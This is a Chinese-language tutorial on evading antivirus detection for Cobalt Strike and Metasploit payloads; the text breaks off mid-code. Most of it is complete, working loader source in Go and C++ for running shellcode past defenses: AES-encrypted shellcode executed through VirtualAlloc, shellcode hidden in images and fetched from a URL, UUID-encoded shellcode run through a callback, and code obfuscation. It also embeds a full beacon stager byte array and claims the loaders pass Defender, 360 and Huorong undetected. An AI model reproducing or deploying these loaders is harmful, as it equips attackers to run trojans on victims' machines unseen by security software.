0x00 前言:
最近闲来无事搞了一个免杀平台玩儿玩儿,用于生成免杀Cobalt Strike木马和免杀加载一些其它shellcode(如msf、自定义等),这里就和大家分享一下免杀思路。
通过本篇文章你将学会:
杀毒软件基本原理及杀毒软件常用识别方式;
bypass的一些思路,如如何绕过静态查杀,如何突破启发式查杀;
bypass实战样例,学习5个例子;
如何Fuzz Loader源码找到被查杀的点,继而修改特征,继续免杀。
免杀平台地址:https://github.com/Ed1s0nZ/cool
0x01 什么是免杀技术:
免杀技术全称为反杀毒技术Anti Anti- Virus简称“免杀”,它指的是一种能使病毒木马免于被杀毒软件查杀的技术。由于免杀技术的涉猎面非常广,其中包含反汇编、逆向工程、系统漏洞等黑客技术,所以难度很高,一般人不会或没能力接触这技术的深层内容。其内容基本上都是修改病毒、木马的内容改变特征码,从而躲避了杀毒软件的查杀。
免杀能做什么?
您有没有过心爱的工具被杀毒软件KILL的经历;您有没有过辛辛苦苦整理出来的工具集被杀毒软件搞成面目全非而“义愤填膺”的时候;您有没有过好不容易拿到权限,上传的木马却被杀的痛心时刻?免杀,它能做的就是避免这些事情的发生!使杀毒软件成为摆设!当然,除此之外免杀技术带给我们更多的,将是思想的飞跃与技术的成长。
0x02 杀毒软件分析:
在开始写免杀前,要先了解一下杀毒软件的工作原理。
杀毒软件基本原理
1. 无害
没有任何可疑行为,没有任何特征符合病毒。
2. 可疑
存在可疑行为:操作注册表,打开powershell,修改用户,操作敏感文件等。
3. 病毒
特征符合病毒。
杀毒软件常用识别方式
1. 静态:
从病毒体中提取的病毒特征码,逐个与程序文件比较。特征码是反病毒公司在分析病毒时,
确定的只有该病毒才可能会有的一系列二进制串,由这些特征可以与其它病毒或正常程序区别
开来。
静态特征码免杀针对kingsoft,macafee、Avira、trendmicro免杀效果比较明显。
2. 启发式查杀
启发式查杀是虚拟机引擎和行为检测相结合,通过模拟执行, 分析程序行为的安全检测技术。
3.云查杀
云安全机制是一种新兴的安全查杀机制,不同的安全厂商的云安全查杀机制不一样。基于云共享特征库扫描机制360 安全卫士,电脑管家,基于主动防御信誉云的扫描机制。
0x03 绕过思路总结:
面对不同的杀毒引擎,有不同的绕过思路,大体分为以下几种:
1. 如何绕过静态查杀?
1.1 动态调用API
1.1.1 特征码定位;
1.1.2动态获取API地址;
1.1.3 自己调用;
1.2 代码混淆技术
定位到被查杀的函数块,然后通过 API 乱序调用或者插入一些正常其它API调用, 如释
放文件时采用单个字节循环写入。
1.3 底层API替代调用
当模块在进行特殊操作的时候被杀,可以采用调用底层的API接口完成同样的功能,如使用CreateProcessInternalW创建进程,NtQuerySystemInfomation获取系统信息,以及一些其它的Native API。
1.4 加壳保护
自己开发的代码保护工具进行加壳保护。
2.如何突破启发式查杀?
2.1 内存载入解析技术
自己在内存中完成对模块的载入、修复和调用。
2.2 模块二次载入技术
当需要调用一些敏感模块的时候,可以采用在内存二次载入我们的目标模块,然后动态查找EAT 完成函数调用。 启发检测。
0x04 免杀绕过实战:
1. AES 加密shellcode
https://github.com/Ed1s0nZ/GoYiyi
将shellcode进行AES加密之后,用加载器去解密+加载:
aes.go
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
)
const (
StdLen = 16
UUIDLen = 20
iv = "0000000000000000"
)
var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
func Get_aes_key() []byte {
return NewLenChars(StdLen, StdChars)
}
// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
if length == 0 {
_ = 1
}
clen := len(chars)
if clen < 2 || clen > 256 {
panic("Wrong charset length for NewLenChars()")
}
maxrb := 255 - (256 % clen)
b := make([]byte, length)
r := make([]byte, length+(length/4)) // storage for random bytes.
i := 0
for {
if _, err := rand.Read(r); err != nil {
panic("Error reading random bytes: " + err.Error())
}
for _, rb := range r {
c := int(rb)
if c > maxrb {
continue // Skip this number to avoid modulo bias.
}
b[i] = chars[c%clen]
i++
if i == length {
return b
}
}
}
}
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize()
fmt.Println(blockSize)
encodeBytes = PKCS5Padding(encodeBytes, blockSize)
blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
crypted := make([]byte, len(encodeBytes))
blockMode.CryptBlocks(crypted, encodeBytes)
return base64.StdEncoding.EncodeToString(crypted), nil
}
func main() {
var payload = []byte{} // 这里放CS 生成的shellcode(C语言) 修改为形如: 0xfc,0x00的格式
key := "zizwsxedc1234567"
b, _ := AesEncrypt([]byte(payload), []byte(key))
fmt.Println("key: " + string(key))
fmt.Println("enc_info: " + string(b))
}
loader.go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)
var iv = "0000000000000000"
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return
}
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 90
KEY_2 = 91
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
将aes加密过的shellcode放到loader里去加载(把shellcode放到数组里是为了不让shellcode单独成为一个参数提高免杀概率,无其他意义。)
defender、360、火绒检测不到,且能正常执行命令。
2. shellcode分离免杀
将shellcode和加载器分离出来,将shellcode加密写入到一个文本、图片、网站body,让loader去访问并加载:
code.go
package main
import (
"bytes"
"crypto/aes"
"crypto/cipher"
"crypto/rand"
"encoding/base64"
"fmt"
"io/ioutil"
"os"
)
const (
StdLen = 16
UUIDLen = 20
iv = "0000000000000000"
)
var StdChars = []byte("ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789")
func Get_aes_key() []byte {
return NewLenChars(StdLen, StdChars)
}
// NewLenChars returns a new random string of the provided length, consisting of the provided byte slice of allowed characters(maximum 256).
func NewLenChars(length int, chars []byte) []byte {
if length == 0 {
_ = 1
}
clen := len(chars)
if clen < 2 || clen > 256 {
panic("Wrong charset length for NewLenChars()")
}
maxrb := 255 - (256 % clen)
b := make([]byte, length)
r := make([]byte, length+(length/4)) // storage for random bytes.
i := 0
for {
if _, err := rand.Read(r); err != nil {
panic("Error reading random bytes: " + err.Error())
}
for _, rb := range r {
c := int(rb)
if c > maxrb {
continue // Skip this number to avoid modulo bias.
}
b[i] = chars[c%clen]
i++
if i == length {
return b
}
}
}
}
func PKCS5Padding(ciphertext []byte, blockSize int) []byte {
padding := blockSize - len(ciphertext)%blockSize
padtext := bytes.Repeat([]byte{byte(padding)}, padding)
return append(ciphertext, padtext...)
}
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func AesEncrypt(encodeBytes []byte, key []byte) (string, error) {
block, err := aes.NewCipher(key)
if err != nil {
return "", err
}
blockSize := block.BlockSize()
fmt.Println(blockSize)
encodeBytes = PKCS5Padding(encodeBytes, blockSize)
blockMode := cipher.NewCBCEncrypter(block, []byte(iv))
crypted := make([]byte, len(encodeBytes))
blockMode.CryptBlocks(crypted, encodeBytes)
return base64.StdEncoding.EncodeToString(crypted), nil
}
func WriteFile(aes string) {
var f *os.File
filename := "./shellcode.txt"
f, _ = os.Create(filename)
defer f.Close()
_, err := f.Write([]byte(aes))
if err != nil {
return
}
}
func WriteImage(aes string) {
fname := "./a.jpg"
content, err := ioutil.ReadFile(fname)
err1 := ioutil.WriteFile("./a.jpg", content, 0666)
if err1 != nil {
fmt.Println("write file failed, err:", err)
return
}
fmt.Printf("%[[v]]", content)
if err != nil {
fmt.Printf("open file faild,err:%s\n", err)
return
}
f, err := os.OpenFile("./a.jpg", os.O_CREATE|os.O_RDWR|os.O_APPEND, os.ModeAppend|os.ModePerm)
if err != nil {
fmt.Println(err)
}
f.WriteString(aes)
f.Close()
fmt.Println("写入成功!")
}
func main() {
var payload = []byte{0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc8,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48,0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x66,0x81,0x78,0x18,0x0b,0x02,0x75,0x72,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01,0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48,0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c,0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48,0x8b,0x12,0xe9,0x4f,0xff,0xff,0xff,0x5d,0x6a,0x00,0x49,0xbe,0x77,0x69,0x6e,0x69,0x6e,0x65,0x74,0x00,0x41,0x56,0x49,0x89,0xe6,0x4c,0x89,0xf1,0x41,0xba,0x4c,0x77,0x26,0x07,0xff,0xd5,0x48,0x31,0xc9,0x48,0x31,0xd2,0x4d,0x31,0xc0,0x4d,0x31,0xc9,0x41,0x50,0x41,0x50,0x41,0xba,0x3a,0x56,0x79,0xa7,0xff,0xd5,0xeb,0x73,0x5a,0x48,0x89,0xc1,0x41,0xb8,0xb3,0x15,0x00,0x00,0x4d,0x31,0xc9,0x41,0x51,0x41,0x51,0x6a,0x03,0x41,0x51,0x41,0xba,0x57,0x89,0x9f,0xc6,0xff,0xd5,0xeb,0x59,0x5b,0x48,0x89,0xc1,0x48,0x31,0xd2,0x49,0x89,0xd8,0x4d,0x31,0xc9,0x52,0x68,0x00,0x02,0x40,0x84,0x52,0x52,0x41,0xba,0xeb,0x55,0x2e,0x3b,0xff,0xd5,0x48,0x89,0xc6,0x48,0x83,0xc3,0x50,0x6a,0x0a,0x5f,0x48,0x89,0xf1,0x48,0x89,0xda,0x49,0xc7,0xc0,0xff,0xff,0xff,0xff,0x4d,0x31,0xc9,0x52,0x52,0x41,0xba,0x2d,0x06,0x18,0x7b,0xff,0xd5,0x85,0xc0,0x0f,0x85,0x9d,0x01,0x00,0x00,0x48,0xff,0xcf,0x0f,0x84,0x8c,0x01,0x00,0x00,0xeb,0xd3,0xe9,0xe4,0x01,0x00,0x00,0xe8,0xa2,0xff,0xff,0xff,0x2f,0x62,0x4e,0x34,0x79,0x00,0x3b,0x7a,0x28,0x46,0x2a,0x69,0x2c,0xf7,0x14,0xe2,0x22,0x24,0xfe,0xc0,0x23,0xac,0xcb,0x78,0xef,0x52,0xd9,0xcf,0x89,0xcf,0x4d,0x2b,0x58,0x8a,0x06,0x9f,0x92,0x54,0x20,0x49,0x9e,0x13,0xf9,0x8e,0x56,0xab,0x50,0xb5,0x82,0xe5,0x61,0xe4,0xdf,0xbe,0x25,0x10,0xf1,0xa6,0x34,0xb3,0x14,0x29,0x82,0xd8,0xe1,0x89,0x4a,0x87,0x82,0x79,0x88,0x7c,0x24,0x57,0xe1,0x49,0xc9,0xe5,0x33,0x00,0x55,0x73,0x65,0x72,0x2d,0x41,0x67,0x65,0x6e,0x74,0x3a,0x20,0x4d,0x6f,0x7a,0x69,0x6c,0x6c,0x61,0x2f,0x34,0x2e,0x30,0x20,0x28,0x63,0x6f,0x6d,0x70,0x61,0x74,0x69,0x62,0x6c,0x65,0x3b,0x20,0x4d,0x53,0x49,0x45,0x20,0x38,0x2e,0x30,0x3b,0x20,0x57,0x69,0x6e,0x64,0x6f,0x77,0x73,0x20,0x4e,0x54,0x20,0x35,0x2e,0x31,0x3b,0x20,0x54,0x72,0x69,0x64,0x65,0x6e,0x74,0x2f,0x34,0x2e,0x30,0x3b,0x20,0x2e,0x4e,0x45,0x54,0x20,0x43,0x4c,0x52,0x20,0x31,0x2e,0x31,0x2e,0x34,0x33,0x32,0x32,0x3b,0x20,0x42,0x4f,0x49,0x45,0x38,0x3b,0x45,0x4e,0x55,0x53,0x29,0x0d,0x0a,0x00,0xc0,0xc3,0x8d,0x65,0x38,0xca,0x0c,0x93,0xc0,0xbd,0xf5,0x27,0xdc,0xdb,0x12,0xe5,0xef,0x3b,0xfe,0xc4,0x43,0x2c,0x7a,0xb1,0x0e,0xba,0x25,0x17,0x96,0xd3,0xb3,0xbb,0xde,0xf7,0x3d,0x47,0x10,0xeb,0x63,0x04,0xc0,0x7f,0x4a,0xbb,0xda,0x0b,0x71,0x9e,0x5b,0xba,0xeb,0x87,0x01,0x53,0xc0,0x13,0xa5,0x2a,0xfc,0x2e,0x8c,0xbc,0x12,0xcf,0x18,0xc5,0xc8,0x33,0xa6,0x40,0xe8,0xd0,0xf2,0x5f,0xa9,0xca,0xb4,0xb9,0x61,0xa1,0xcd,0x8d,0x50,0x1c,0x31,0xb8,0xdd,0x69,0x0c,0xb2,0xa1,0xd6,0xf1,0xc9,0xcf,0x5a,0xec,0xb5,0xab,0x24,0x46,0x83,0xe5,0x49,0x5c,0xd8,0xe8,0x35,0x35,0xd8,0x75,0x87,0x96,0x57,0x6a,0x17,0x3a,0x6b,0xa3,0x7a,0x2b,0x28,0xc2,0xae,0x2a,0x62,0x0d,0xcc,0x7e,0x29,0x2c,0x9e,0xe6,0x38,0x76,0xfe,0x92,0x9a,0xc5,0x2c,0xc1,0x68,0xf7,0x84,0x33,0xd2,0x74,0xa7,0xcb,0x41,0x0d,0x0f,0x2f,0x24,0xaa,0x22,0xed,0xb2,0xfb,0x18,0xac,0x33,0x11,0xab,0x77,0x50,0x2c,0xaf,0xdc,0x33,0xf0,0x4f,0xce,0xe1,0x27,0x1a,0x5b,0x2e,0x9d,0xd7,0x2b,0x93,0x65,0x38,0xfd,0x04,0xbc,0x53,0x22,0xd8,0xc4,0x46,0xe0,0x0c,0x00,0x41,0xbe,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x31,0xc9,0xba,0x00,0x00,0x40,0x00,0x41,0xb8,0x00,0x10,0x00,0x00,0x41,0xb9,0x40,0x00,0x00,0x00,0x41,0xba,0x58,0xa4,0x53,0xe5,0xff,0xd5,0x48,0x93,0x53,0x53,0x48,0x89,0xe7,0x48,0x89,0xf1,0x48,0x89,0xda,0x41,0xb8,0x00,0x20,0x00,0x00,0x49,0x89,0xf9,0x41,0xba,0x12,0x96,0x89,0xe2,0xff,0xd5,0x48,0x83,0xc4,0x20,0x85,0xc0,0x74,0xb6,0x66,0x8b,0x07,0x48,0x01,0xc3,0x85,0xc0,0x75,0xd7,0x58,0x58,0x58,0x48,0x05,0x00,0x00,0x00,0x00,0x50,0xc3,0xe8,0x9f,0xfd,0xff,0xff,0x31,0x37,0x32,0x2e,0x31,0x38,0x2e,0x34,0x32,0x2e,0x36,0x33,0x00,0x00,0x00,0x00,0x01,}
key := "eaeasdzxc1qazxsw"
b, _ := AesEncrypt([]byte(payload), []byte(key))
b = b + "=====18jokriwow0"
WriteFile(b)
WriteImage(b)
}
loader.go
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"io/ioutil"
"net/http"
"os"
"strings"
"syscall"
"unsafe"
)
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
)
var iv = "0000000000000000"
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func main() {
encodeString := ""
arg1 := os.Args[1] // imageURL := "http://127.0.0.1:8000/1.jpg"
if strings.Contains(arg1, "http") {
resp, err := http.Get(arg1)
if err != nil {
os.Exit(1)
}
b, err := ioutil.ReadAll(resp.Body)
resp.Body.Close()
if err != nil {
os.Exit(1)
}
idx := 0
b = []byte(b)
for i := 0; i < len(b); i++ {
if b[i] == 255 && b[i+1] == 217 {
break
}
idx++
}
encodeString = string(b[idx+2:])
} else if strings.Contains(arg1, "=====18jokriwow0") {
encodeString = arg1
} else {
fmt.Println("a")
}
//获取到aes加密的shellcode qaeasdzxc1qazxsw
var enc_key1 = "eaea"
var enc_key2 = "sdzxc"
var enc_key3 = "1qazxsw"
sc, _ := AesDecrypt(encodeString[:len(encodeString)-16], []byte(enc_key1+enc_key2+enc_key3))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(sc)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&sc[0])), uintptr(len(sc)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
上面这个是从参数中获取shellcode加载的方式,如果识别到http,就从url中加载图片的shellcode,如果识别到=====18jokriwow0
后缀,它才会在命令行中去解密并加载shellcode,如果二者条件都没达成,则什么都不执行。
免杀效果也是360,def,火绒静态动态全过!
3. Golang代码混淆
看过很多golang免杀的文章,但是很多人都没提到一点,Golang的代码混淆;由于 Golang 的反射等机制,需要将文件路径、函数名等大量信息打包进二进制文件,这部分信息无法被 strip,所以考虑通过混淆代码的方式提高逆向难度,增加免杀的概率。
Github有一个开源的Golang代码混淆项目:https://github.com/burrowers/garble
安装:
go install mvdan.cc/garble@latest
通过包装 Go 工具链来混淆 Go 代码。需要 Go 1.17 或更高版本。
garble build [build flags] [packages]
只要在编译时,将go build
替换为garble build
即可,该工具还支持garble test
使用混淆代码运行测试,以及garble reverse
去混淆诸如堆栈跟踪之类的文本。请参阅garble -h
了解最新的使用信息。
混淆前
反编译可以看到函数名等信息清晰可见:
混淆后
混淆后代码大小也从1.6m变为了1.1m。
混淆后微步3/25,检测为安全,打分为10分:
4.UUID免杀
使用Python生成uuid格式:
# shellcode必须是16的倍数,不足用x00补充
import uuid
shellcode=b""
print(len(shellcode))
list = []
for i in range(32): # range的范围也需要是16的倍数
bytes_a = shellcode[i * 16: 16 + i * 16]
b = uuid.UUID(bytes_le=bytes_a)
list.append(str(b))
with open("shellcode.c","w",encoding="utf-8") as f:
f.write("const char* uuids[] ={")
for UUID in list:
f.write("\""+UUID+"\""+",")
f.write("};")
print(list)
loader:
[[include]]<Windows.h>
[[include]]<Rpc.h>
[[include]]<iostream>
[[pragma]] comment(lib,"Rpcrt4.lib")
using namespace std;
const char* uuids[] = { "e48348fc-e8f0-00cc-0000-415141505251","56d23148-4865-
528b-6048-8b5218488b52","728b4820-4850-b70f-4a4a-4d31c94831c0","7c613cac-2c02-
4120-c1c9-0d4101c1e2ed","528b4852-4120-8b51-423c-4801d0668178","0f020b18-7285-
0000-008b-808800000048","6774c085-0148-8bd0-4818-50448b402049","56e3d001-ff48-
4dc9-31c9-418b34884801","c03148d6-c141-0dc9-ac41-01c138e075f1","244c034c-4508-
d139-75d8-58448b402449","4166d001-0c8b-4448-8b40-1c4901d0418b","01488804-41d0-
4158-585e-595a41584159","83485a41-20ec-5241-ffe0-5841595a488b","ff4be912-ffff495d-be77-73325f333200","49564100-e689-8148-eca0-0100004989e5","0002bc49-5c11-
a8c0-7a92-41544989e44c","ba41f189-774c-0726-ffd5-4c89ea680101","41590000-29ba6b80-00ff-d56a0a415e50","c9314d50-314d-48c0-ffc0-4889c248ffc0","41c18948-eabadf0f-e0ff-d54889c76a10","894c5841-48e2-f989-41ba-99a57461ffd5","0a74c085-ff49-
75ce-e5e8-930000004883","894810ec-4de2-c931-6a04-41584889f941","c8d902ba-ff5f83d5-f800-7e554883c420","6af6895e-4140-6859-0010-000041584889","c93148f2-ba41-
a458-53e5-ffd54889c349","314dc789-49c9-f089-4889-da4889f941ba","5fc8d902-d5fff883-007d-285841575968","00004000-5841-006a-5a41-ba0b2f0f30ff","415957d5-75ba4d6e-61ff-d549ffcee93c","48ffffff-c301-2948-c648-85f675b441ff","006a58e7-4959-
c2c7-f0b5-a256ffd50000", };
int main()
{
HANDLE hc = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, 0, 0);//获得可执行的句柄
void* ha = HeapAlloc(hc, 0, 0x100000);//申请堆空间
if (ha == NULL)
{
cout << "内存申请失败!" << endl;
return 0;
}
DWORD_PTR hptr = (DWORD_PTR)ha;
int elems = sizeof(uuids) / sizeof(uuids[0]);//获得需要写入uuids数组元素个数
for (int i = 0; i < elems; i++)
{
cout << (RPC_CSTR)uuids[i] << endl;
cout << (UUID*)hptr << endl;
RPC_STATUS status = UuidFromStringA((RPC_CSTR)uuids[i], (UUID*)hptr);//写入shellcode
if (status != RPC_S_OK)//判断是否写入正常
{
cout << "UuidFromeStringA()!=S_OK" << endl;
CloseHandle(ha);
return -1;
}
hptr += 16;
}
//((void(*)())ha)();
EnumSystemLocalesA((LOCALE_ENUMPROCA)ha, 0);//回调函数,运行shellcode
CloseHandle(ha);
return 0;
}
5.底层API绕过免杀
先看以下这两个loader
loader1.go:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)
var procVirtualProtect = syscall.NewLazyDLL("kernel32.dll").NewProc("VirtualProtect")
var iv = "0000000000000000"
func VirtualProtect(lpAddress unsafe.Pointer, dwSize uintptr, flNewProtect uint32, lpflOldProtect unsafe.Pointer) bool {
ret, _, _ := procVirtualProtect.Call(
uintptr(lpAddress),
uintptr(dwSize),
uintptr(flNewProtect),
uintptr(lpflOldProtect))
return ret > 0
}
func Run(sc []byte) {
f := func() {}
var oldfperms uint32
if !VirtualProtect(unsafe.Pointer(*(**uintptr)(unsafe.Pointer(&f))), unsafe.Sizeof(uintptr(0)), uint32(0x40), unsafe.Pointer(&oldfperms)) {
panic("Call to VirtualProtect failed!")
}
**(**uintptr)(unsafe.Pointer(&f)) = *(*uintptr)(unsafe.Pointer(&sc))
var oldshellcodeperms uint32
if !VirtualProtect(unsafe.Pointer(*(*uintptr)(unsafe.Pointer(&sc))), uintptr(len(sc)), uint32(0x40), unsafe.Pointer(&oldshellcodeperms)) {
panic("Call to VirtualProtect failed!")
}
f()
}
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return
}
func main() {
//abcdekaWDCasCAWQ
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "asdsadsadsad"} // 第三个里面放加密过的shellcode
sc, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
Run([]byte(sc))
}
loader2.go:
package main
import (
"crypto/aes"
"crypto/cipher"
"encoding/base64"
"fmt"
"syscall"
"unsafe"
)
var iv = "0000000000000000"
func PKCS5UnPadding(origData []byte) []byte {
length := len(origData)
unpadding := int(origData[length-1])
return origData[:(length - unpadding)]
}
func AesDecrypt(decodeStr string, key []byte) ([]byte, error) {
decodeBytes, err := base64.StdEncoding.DecodeString(decodeStr)
if err != nil {
return nil, err
}
block, err := aes.NewCipher(key)
if err != nil {
return nil, err
}
blockMode := cipher.NewCBCDecrypter(block, []byte(iv))
origData := make([]byte, len(decodeBytes))
blockMode.CryptBlocks(origData, decodeBytes)
origData = PKCS5UnPadding(origData)
return origData, nil
}
func CError(err error) {
if err != nil {
fmt.Println(err)
return
}
return
}
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READWRITE = 0x40
KEY_1 = 90
KEY_2 = 91
)
var (
kernel32 = syscall.MustLoadDLL("kernel32.dll")
ntdll = syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc = kernel32.MustFindProc("VirtualAlloc")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
func main() {
var enc_key1 = "zizwsxedc"
var enc_key2 = "1234567"
var info_list = [...]string{"sasa2sasas1sssaas", "ssssasa", "aesaes="} // 第三个(aesaes=替换为shellcode)里面放加密过的shellcode
shellcode, _ := AesDecrypt(info_list[2], []byte(enc_key1+enc_key2))
addr, _, err := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_EXECUTE_READWRITE)
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
_, _, err = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
if err != nil && err.Error() != "The operation completed successfully." {
syscall.Exit(0)
}
syscall.Syscall(addr, 0, 0, 0, 0)
}
这两个都是Go语言实现的加载aes加密shellcode的 loader,区别在于,第一个loader调用了Windows VirtualProtec api,第二个没有,而第一种,直接编译后会被火绒杀掉,第二种可正常免杀。
loader1.go
loader2.go
0x05 Fuzz Loader源码
如何Fuzz 出loader被查杀的点,在写免杀时尤为重要,因为你不知道问题出在哪里,就没办法解决问题。在fuzz时,要注意我们的木马是静态被杀还是运行时被杀,这有助于我们更快的锁定查杀点。下面讲一下如何通过loader源码定位杀软查杀的点:
静态被杀
举下面这一个分离免杀 loader的例子:
loader.go
package main
import (
"encoding/base64"
"io/ioutil"
"log"
